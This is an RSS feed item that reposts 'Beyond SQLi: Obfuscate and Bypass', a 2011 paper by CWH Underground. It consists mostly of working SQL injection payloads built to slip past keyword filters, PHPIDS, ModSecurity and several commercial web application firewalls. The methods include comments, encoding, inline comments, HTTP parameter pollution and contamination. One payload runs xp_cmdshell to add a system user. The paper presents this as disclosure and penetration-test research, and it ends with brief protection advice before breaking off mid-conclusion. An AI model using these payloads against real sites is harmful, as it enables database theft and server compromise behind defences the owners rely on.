<?xml version="1.0" encoding="iso-8859-1"?><!-- generator="b2evolution/4.1.1" -->
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>JF's log</title>
		<link>http://www.bethlehem.eu/blog/</link>
		<atom:link rel="self" type="application/rss+xml" href="http://www.bethlehem.eu/blog/?tempskin=_rss2" />
		<description></description>
		<language>en-US</language>
		<docs>http://blogs.law.harvard.edu/tech/rss</docs>
		<admin:generatorAgent rdf:resource="http://b2evolution.net/?v=4.1.1"/>
		<ttl>60</ttl>
				<item>
			<title>Beyond SQLi: Obfuscate and Bypass</title>
			<link>http://www.bethlehem.eu/blog/2011/10/beyond-sqli-obfuscate-and-bypass</link>
			<pubDate>Thu, 06 Oct 2011 13:55:00 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Family</category>			<guid isPermaLink="false">46@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;pre&gt;		|=--------------------------------------------------------------------=|
		|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
		|=-------------------------=[ 6 October 2011 ]=-----------------------=|
		|=----------------------=[  By CWH Underground  ]=--------------------=|
		|=--------------------------------------------------------------------=|
				

######
 Info
######

Title	: Beyond SQLi: Obfuscate and Bypass
Author	: &quot;ZeQ3uL&quot; (Prathan Phongthiproek) and &quot;Suphot Boonchamnan&quot;
Team    : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date	: 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

		[0x01a] - Bypass Functions and Keywords Filtering
		[0x01b] - Bypass Regular Expression Filtering
		
  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

		[0x03a] - HTTP Parameter Pollution: Split and Join
		[0x03b] - HTTP Parameter Contamination
  		
  [0x04] - How to protect your website

  [0x05] - Conclusion

  [0x06] - References

  [0x07] - Greetz To


#######################
 [0x00] - Introduction
#######################

	Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. 
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. 
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system 
in the real world even though you spend more than 300,000 USD on a WAF.

	This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

	Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, &quot;HTTP Parameter Contamination&quot;.
and &quot;HTTP Pollution: Split and Join&quot;. Section 0x04, we guide to protect your own website on the right solution. 
The last, section 0x05, It&#039;s conclusion from Section 0x01-0x04.


#################################
 [0x01] - Filter Evasion (Mysql)
#################################
	
	This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. 
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

	+++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01a] - Bypass Functions and Keywords Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	
		Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. 
	However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users 
	when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

		
		Keyword filer: 		and, or
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or)/i&#039;, $id)

		THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &amp;amp;&amp;amp;, || instead of and, or respectively.

		Filtered injection:	1 or 1 = 1		1 and 1 = 1
		Bypassed injection:	1 || 1 = 1		1 &amp;amp;&amp;amp; 1 = 1
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union)/i&#039;, $id)

		The keyword union is generally used to generate an malicious statement in order to select extra data from the database. 

		Filtered injection:	union select user, password from users
		Bypassed injection:	1 || (select user from users where user_id = 1) = &#039;admin&#039;

		** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement 
		e.g. use substring function to get each character of table names.
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where)/i&#039;, $id)
		Filtered injection:	1 || (select user from users where user_id = 1) = &#039;admin&#039;
		Bypassed injection:	1 || (select user from users limit 1) = &#039;admin&#039;
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit)/i&#039;, $id)
		Filtered injection:	1 || (select user from users limit 1) = &#039;admin&#039;
		Bypassed injection:	1 || (select user from users group by user_id having user_id = 1) = &#039;admin&#039;
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by)/i&#039;, $id)
		Filtered injection:	1 || (select user from users group by user_id having user_id = 1) = &#039;admin&#039;
		Bypassed injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit, group by, select
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by|select)/i&#039;, $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || 1 = 1 into outfile &#039;result.txt&#039;
		Bypassed injection:	1 || substr(user,1,1) = &#039;a&#039;
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#039;
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by|select|\&#039;)/i&#039;, $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || user_id is not null
		Bypassed injection:	1 || substr(user,1,1) = 0x61
		Bypassed injection:	1 || substr(user,1,1) = unhex(61)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#039;, hex
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by|select|\&#039;|hex)/i&#039;, $id)
		Filtered injection:	1 || substr(user,1,1) = unhex(61)
		Bypassed injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#039;, hex, substr
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by|select|\&#039;|hex|substr)/i&#039;, $id)
		Filtered injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		Bypassed injection:	1 || lpad(user,7,1)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#039;, hex, substr, white space
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#039;/(and|or|union|where|limit|group by|select|\&#039;|hex|substr|\s)/i&#039;, $id)
		Filtered injection:	1 || lpad(user,7,1)
		Bypassed injection:	1%0b||%0blpad(user,7,1)
		----------------------------------------------------------------------


		From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. 
	Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

		Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


	+++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01b] - Bypass Regular Expression Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++

		Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. 
	However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

	PHPIDS generally blocks input containing = or ( or &#039; following with any a string or integer e.g. 1 or 1=1, 1 or &#039;1&#039;, 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or &#039; symbols. 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 or 1 = 1
	Bypassed injection:		1 or 1
	[End Code]----------------------------------------------------------- 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name = &#039;users&#039;
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between &#039;a&#039; and &#039;z&#039;
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
	Bypassed injection:		1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
	Bypassed Injection:		1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
	[End Code]----------------------------------------------------------- 



########################################
 [0x02] - Normally Bypassing Techniques
########################################

	In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what&#039;s WAF?
	
	A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. 
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, 
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
	WAFs are often called &#039;Deep Packet Inspection Firewalls&#039; coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

	Now Let&#039;s rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

	
	1. Bypass with Comments

		SQL comments allow us to bypass a lot of filtering and WAFs.
	
		[Code]---------------------------------------------------------------		
		&lt;a href=&quot;http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--&quot;&gt;http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--&lt;/a&gt;
		[End Code]-----------------------------------------------------------


	2. Case Changing

		Some WAFs filter only lowercase SQL keyword.	

		Regex Filter: /union\sselect/g
	
		[Code]---------------------------------------------------------------		
		&lt;a href=&quot;http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--&quot;&gt;http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--&lt;/a&gt;
		[End Code]-----------------------------------------------------------


	3. Replaced keywords

		Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.	
	
		[Code]---------------------------------------------------------------		
		&lt;a href=&quot;http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--&quot;&gt;http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--&lt;/a&gt;
		[End Code]-----------------------------------------------------------

		Some case SQL keyword was filtered out and replaced with whitespace. So we can use &quot;%0b&quot; to bypass.

		[Code]---------------------------------------------------------------		
		&lt;a href=&quot;http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--&quot;&gt;http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--&lt;/a&gt;
		[End Code]-----------------------------------------------------------

		For Mod_rewrite, Comments &quot;/**/&quot; cannot bypassed. So we use &quot;%0b&quot; replace &quot;/**/&quot;.

		Forbidden: &lt;a href=&quot;http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html&quot;&gt;http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html&lt;/a&gt;
		Bypassed : &lt;a href=&quot;http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html&quot;&gt;http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html&lt;/a&gt;
	


	4. Character encoding

		Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so 
		double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
		decoding the SQL statement executing
	
		[Code]-----------------------------------------------------------------------------------------------------------------
		&lt;a href=&quot;http://victim.com/news.php?id=1%252f%252a*/union%252f%252a&quot;&gt;http://victim.com/news.php?id=1%252f%252a*/union%252f%252a&lt;/a&gt; /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
		[End Code]-------------------------------------------------------------------------------------------------------------
				
		Moreover, these techniques can combine to bypass Citrix Netscaler
			- Remove all &quot;NULL&quot; words
			- Use query encoding in some parts
			- Remove the single quote character &quot;&#039;&quot;
			- And Have fun !!
			Credit: Wendel Guglielmetti Henrique	
		
		and &quot;Armorlogic Profense&quot;  prior to 2.4.4 was bypassed by URL-encoded newline character.


		#Real World Example
		
		1. NukeSentinel (Nuke Evolution)
		
		[Nukesentinel.php Code]------------------------------------------------------------
		// Check for UNION attack
		// Copyright 2004(c) Raven PHP Scripts
		$blocker_row = $blocker_array[1];
		if($blocker_row[&#039;activate&#039;] &amp;gt; 0) {
 		 if (stristr($nsnst_const[&#039;query_string&#039;],&#039;+union+&#039;) OR \
		stristr($nsnst_const[&#039;query_string&#039;],&#039;%20union%20&#039;) OR \
		stristr($nsnst_const[&#039;query_string&#039;],&#039;*/union/*&#039;) OR \
		stristr($nsnst_const[&#039;query_string&#039;],&#039; union &#039;) OR \
		stristr($nsnst_const[&#039;query_string_base64&#039;],&#039;+union+&#039;) OR \
		stristr($nsnst_const[&#039;query_string_base64&#039;],&#039;%20union%20&#039;) OR \
		stristr($nsnst_const[&#039;query_string_base64&#039;],&#039;*/union/*&#039;) OR \
		stristr($nsnst_const[&#039;query_string_base64&#039;],&#039; union &#039;)) {  // block_ip($blocker_row);
		   die(&quot;BLOCK IP 1 &quot; );
		  }
		}
		[End Code]-------------------------------------------------------------------------

		We can bypass their filtering with these script:
		
		Forbidden: &lt;a href=&quot;http://victim.com/php-nuke/?/**/union/**/select&amp;#8230;&quot;&gt;http://victim.com/php-nuke/?/**/union/**/select&amp;#8230;&lt;/a&gt;..
		Bypassed : &lt;a href=&quot;http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select&amp;#8230;&quot;&gt;http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select&amp;#8230;&lt;/a&gt;
		Bypassed : &lt;a href=&quot;http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect&amp;#8230;&quot;&gt;http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect&amp;#8230;&lt;/a&gt;


		2. Mod Security CRS (Credit: Johannes Dahse)
		
		[SecRule]--------------------------------------------------------------------------
		SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* &quot;\bunion\b.{1,100}?\bselect\b&quot; \ &quot;phase2,rev:&#039;2.2.1&#039;,capture,t:none,
		t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
		msg:&#039;SQL Injection Attack&#039;,id:&#039;959047&#039;,tag:&#039;WEB_ATTACK/SQL_INJECTION&#039;,tag:&#039;WASCTC/WASC-19&#039;,tag:&#039;OWASP_TOP_10/A1&#039;,
		tag:&#039;OWASP_AppSensor/CIE1&#039;,tag:&#039;PCI/6.5.2&#039;,logdata:&#039;%{TX.0}&#039;,severity:&#039;2&#039;,setvar:&#039;tx.msg=%{rule.msg}&#039;,
		setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
		setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}&quot;
		[End Rule]-------------------------------------------------------------------------

		We can bypass their filtering with this code:
		
		[Code]------------------------------------------------------------------------------
		&lt;a href=&quot;http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user&quot;&gt;http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user&lt;/a&gt;
		[End Code]--------------------------------------------------------------------------

		From this attack, We can bypass Mod Security rule. Let see what&#039;s happen !! 
		
		MySQL Server supports 3 comment styles:
			- From a &quot;#&quot; character to the end of the line
			- From a &quot;--&quot; sequence to the end of the line
			- From a /* sequence to the following */ sequence, as in the C programming language.
			  This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
			  not be on the same line.

		The following example, We used &quot;%0D%0A&quot; as the new line characters. Let&#039;s take a look at the first request(to extract the DB user)
		The resulting SQL payload looked something like this:

			0 div 1 union#foo*/*/bar
			select#foo
			1,2,current_user
		
		However the SQL payload, when executed by the MySQL DB, looked something like this:

			0 div 1 union select 1,2,current_user	


	5. Buffer Overflow

		WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
		Give a large amount of data allows our code executing	
	
		[Code]------------------------------------------------------------------------------
		&lt;a href=&quot;http://victim.com/news.php?id=1+and+(select&quot;&gt;http://victim.com/news.php?id=1+and+(select&lt;/a&gt; 1)=(select 0x414141414141441414141414114141414141414141414141414141
		414141414141&amp;#8230;.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
		[End Code]--------------------------------------------------------------------------

	
	6. Inline Comments (Mysql Only)

		From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
		code that includes MySQL extensions, but is still portable, by using comments of the following form:

		/*! MySQL-specific code */
		
		In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
		but other SQL servers will ignore the extensions.
		
		A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
		
		[Code]------------------------------------------------------------------------------
		&lt;a href=&quot;http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--&quot;&gt;http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--&lt;/a&gt;
		[End Code]--------------------------------------------------------------------------
		
		Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
		add more inline comments
	
		[Code]------------------------------------------------------------------------------
		&lt;a href=&quot;http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables&quot;&gt;http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables&lt;/a&gt;
		/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
		[End Code]--------------------------------------------------------------------------

		In a recent penetration test, we were able to bypass a Mod Security CRS and PentaSecurity-WAPPLE using this technique. More information show below:
		
		#################################################################################################################

		Vendor : Penta Security System
		Product: Wapple Web Application Firewall
		Patch released: 2011-10-02 (In SQL Injection Custom Policy Mode)
		Publish released: 2011-10-04
		Credit : Prathan Phongthiproek and Suphot Boonchamnan
	
		These scripts can all SQL Injection rules:	
			1 ||1=1
			1 /*!order by*/ 3
			1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
			1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
			1 /*!union select*/ /*!user,password*/ from /*!users*/
		################################################################################################################
		

	
########################################	
 [0x03] - Advanced Bypassing Techniques
########################################
		
	In this section, we offer 2 techniques are &quot;HTTP Pollution: Split and Join&quot; and &quot;HTTP Parameter Contamination&quot;. 
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
     
     
	++++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x03a] - HTTP Parameter Pollution: Split and Join
	++++++++++++++++++++++++++++++++++++++++++++++++++++

		HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
	effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting 
	query string. 

	Example of HPP: &quot;http://victim.com/search.aspx?par1=val1&amp;amp;par1=val2&quot;

	HTTP Parameter Handling: (Example)
	
	+------------------------------------------------------------------+
	| Web Server 	  | Parameter Interpretation	 | Example	   |
	+------------------------------------------------------------------+
	| ASP.NET/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| ASP/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| PHP/Apache	  | The last param is resulting  | par1=val2	   |
	| JSP/Tomcat	  | The first param is resulting | par1=val1	   |
	| Perl/Apache	  | The first param is resulting | par1=val1	   |
	| DBMan		  | Concatenation by two tildes  | par1=val1~~val2 |
	+------------------------------------------------------------------+
	
		What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
	Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
	multiple occurrences (ASP, ASP.NET, DBMan,&amp;#8230;) an aggressor can split the malicious payload.

		In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using &quot;HPP+Inline Comment&quot; on ASP/ASP.NET environment.
	This technique can bypass other Commercial WAFs too. More information about &quot;HPP+Inline Comment&quot; show below:	

	
	#Real World Example:

	1. Mod Security CRS (Credit: Lavakumar Kuppan)
		
		The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
		
		Forbidden: &lt;a href=&quot;http://victim.com/search.aspx?q=select&quot;&gt;http://victim.com/search.aspx?q=select&lt;/a&gt; name,password from users

		When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

		Bypassed : &lt;a href=&quot;http://victim.com/search.aspx?q=select&quot;&gt;http://victim.com/search.aspx?q=select&lt;/a&gt; name&amp;amp;q=password from users

		
		Let&#039;s see what&#039;s happen, ModSecurity&#039;s interpretation is
		
		q=select name
		q=password from users

		ASP/ASP.NET&#039;s interpretation is
		q=select name,password from users

		*Tip: This attack can be carried out on a POST variable in a similar way


	2. Commercial WAFs
		
		Forbidden: &lt;a href=&quot;http://victim.com/search.aspx?q=select&quot;&gt;http://victim.com/search.aspx?q=select&lt;/a&gt; name,password from users

		Now we use HPP+Inline comment to bypass it.

		Bypassed : &lt;a href=&quot;http://victim.com/search.aspx?q=select/*&amp;amp;q=*/name&amp;amp;q=password/*&amp;amp;q=*/from/*&amp;amp;q=*/users&quot;&gt;http://victim.com/search.aspx?q=select/*&amp;amp;q=*/name&amp;amp;q=password/*&amp;amp;q=*/from/*&amp;amp;q=*/users&lt;/a&gt;

		
		Analyzing, WAF&#039;s interpretation is

		q=select/*
		q=*/name
		q=password/*
		q=*/from/*
		q=*/users
		
		ASP/ASP.NET&#039;s interpretation is
		q=select/*,*/name,password/*,*/from/*,*/users
		q=select name,password from users


	3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave&#039;s SpiderLabs)
		
		Forbidden: &lt;a href=&quot;http://victim.com/news.aspx?id=1&#039;;&quot;&gt;http://victim.com/news.aspx?id=1&#039;;&lt;/a&gt; EXEC master..xp_cmdshell &amp;#8220;net user zeq3ul UrWaFisShiT /add&amp;#8221; --

		Now we use HPP+Inline comment to bypass it.

		Bypassed : &lt;a href=&quot;http://victim.com/news.aspx?id=1&#039;;&quot;&gt;http://victim.com/news.aspx?id=1&#039;;&lt;/a&gt; /*&amp;amp;id=1*/ EXEC /*&amp;amp;id=1*/ master..xp_cmdshell /*&amp;amp;id=1*/ &amp;#8220;net user lucifer UrWaFisShiT&amp;#8221; /*&amp;amp;id=1*/ --

		
		Analyzing, WAF&#039;s interpretation is

		id=1&amp;#8217;; /*
		id=1*/ EXEC /*
		id=1*/ master..xp_cmdshell /*
		id=1*/ &amp;#8220;net user zeq3ul UrWaFisShiT&amp;#8221; /*
		id=1*/ --
		
		ASP/ASP.NET&#039;s interpretation is
		id=1&amp;#8217;; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ &amp;#8220;net user zeq3ul UrWaFisShiT&amp;#8221; /*,1*/ --
		id=1&amp;#8217;; EXEC master..xp_cmdshell &amp;#8220;net user zeq3ul UrWaFisShiT&amp;#8221; --
		

		The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. 
	This would prevent all variations of this attack.
		However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. 
	And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF 
	should also interpret the HTTP request in the same way the web application would.

		
	++++++++++++++++++++++++++++++++++++++++
	 [0x03b] - HTTP Parameter Contamination
	++++++++++++++++++++++++++++++++++++++++

		HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
	exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
	parameter contamination with reserved or non expects characters. 
	
	Some facts:
     	- The term Query String is commonly used to refer to the part between the  &quot;?&quot; and the end of the URI
	- As defined in the RFC 3986, it is a series of field-value pairs
	- Pairs are separated by &quot;&amp;amp;&quot; or &quot;;&quot;
	- RFC 2396 defines two classes of characters:
		Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * &#039; ()
		Reserved  : ; / ? : @ &amp;amp; = + $ ,
		Unwise    : { } | \ ^ [ ] ` 

		Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
	but we will stop here this time.

	Query string and Web server response (Example)
	
	+-----------------------------------------------------------+
	| Query String	  |    Web Servers response / GET values    |
	+-----------------------------------------------------------+
	| 		  | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP	    |
	+-----------------------------------------------------------+
	| ?test[1=2	  | test_1=2	 	     | test[1=2	    |
	| ?test=%  	  | test=%		     | test=	    |
	| ?test%00=1	  | test=1	       	     | test=1	    |
	| ?test=1%001	  | NULL		     | test=1	    |
	| ?test+d=1+2	  | test_d=1 2		     | test d=1 2   |
	+-----------------------------------------------------------+
	
	Magic character &quot;%&quot; affect to ASP/ASP.NET	

	+--------------------------------------------------------------------+
	| 	Keywords     |        WAF   		  |  ASP/ASP.NET     |
	+--------------------------------------------------------------------+
	| sele%ct * fr%om..  | sele%ct * fr%om.. 	  | select * from..  |
	| ;dr%op ta%ble zzz  | ;dr%op ta%ble &lt;pre&gt;zzz&lt;/pre&gt;
| ;drop table zzz  | 	| &amp;lt;scr%ipt&amp;gt;	     | &amp;lt;scr%ipt&amp;gt;		  | &amp;lt;script&amp;gt;	     | 	| &amp;lt;if%rame&amp;gt;	     | &amp;lt;if%rame&amp;gt;		  | &amp;lt;iframe&amp;gt;         | 	+--------------------------------------------------------------------+   	#Real world examples:  	1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf)   		[Filtered]---------------------------------------------------------------------------------- 	 		[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match &quot;\\bsys\\.user_objects\\b&quot;  		at ARGS_NAMES:sys.user_objects. [file &quot;/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf&quot;] [line &quot;110&quot;] [id &quot;959519&quot;]  		[rev &quot;2.2.0&quot;] [msg 	&quot;Blind SQL Injection Attack&quot;] [data &quot;sys.user_objects&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;WEB_ATTACK/SQL_INJECTION&quot;] [tag &quot;WASCTC/WASC-19&quot;]  		[tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;OWASP_AppSensor/CIE1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;localhost&quot;] [uri &quot;/&quot;] [unique_id &quot;TfT3gH8AAQEAAAPyLQQAAAAA&quot;]  		[End Code]------------------------------------------------------------------------------  		Forbidden: &lt;a href=&quot;http://localhost/?xp_cmdshell&quot;&gt;http://localhost/?xp_cmdshell&lt;/a&gt; 		Bypassed : &lt;a href=&quot;http://localhost/?xp[cmdshell&quot;&gt;http://localhost/?xp[cmdshell&lt;/a&gt;  	2. Bypass URLScan 3.1 DenyQueryStringSequences rule 	 		Forbidden: &lt;a href=&quot;http://localhost/test.asp?file=../bla.txt&quot;&gt;http://localhost/test.asp?file=../bla.txt&lt;/a&gt; 		Bypassed : &lt;a href=&quot;http://localhost/test.asp?file=.%./bla.txt&quot;&gt;http://localhost/test.asp?file=.%./bla.txt&lt;/a&gt;  	3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)  		Forbidden: &lt;a href=&quot;http://victim.com/news.asp?id=10&quot;&gt;http://victim.com/news.asp?id=10&lt;/a&gt; and 1=0/(select top 1 table_name from information_schema.tables) 		Bypassed : &lt;a href=&quot;http://victim.com/news.asp?id=10&quot;&gt;http://victim.com/news.asp?id=10&lt;/a&gt; a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)  		From this situation, Webknight use SQL keywords filtering when we use &quot;HTTP contamination&quot; by insert &quot;%&quot; into SQL keywords WAF is bypassed and sending these 		command to Web server: &quot;id=10 and 1=0/(select top 1 table_name from information_schema.tables)&quot; because &quot;%&quot; is cutter in web server. 	  		These types of hacking techniques are always interesting because they reveal new perspectives on security problems. 	Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors. 		HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with &quot;%&quot; character on an IIS/ASP platform, 	if there is WAF who blocks this kind of an attack.  	  ######################################	  [0x04] - How to protect your website ######################################  - Implement Software Development Life Cycle (SDLC) - Secure Coding: Validate all inputs and outputs - PenTest before online - Harden it !! - Revisit PenTest - Deploy WAF (For Optional) - Always check WAF patch   #####################	  [0x05] - Conclusion #####################   - WAFs is not the long-expected - 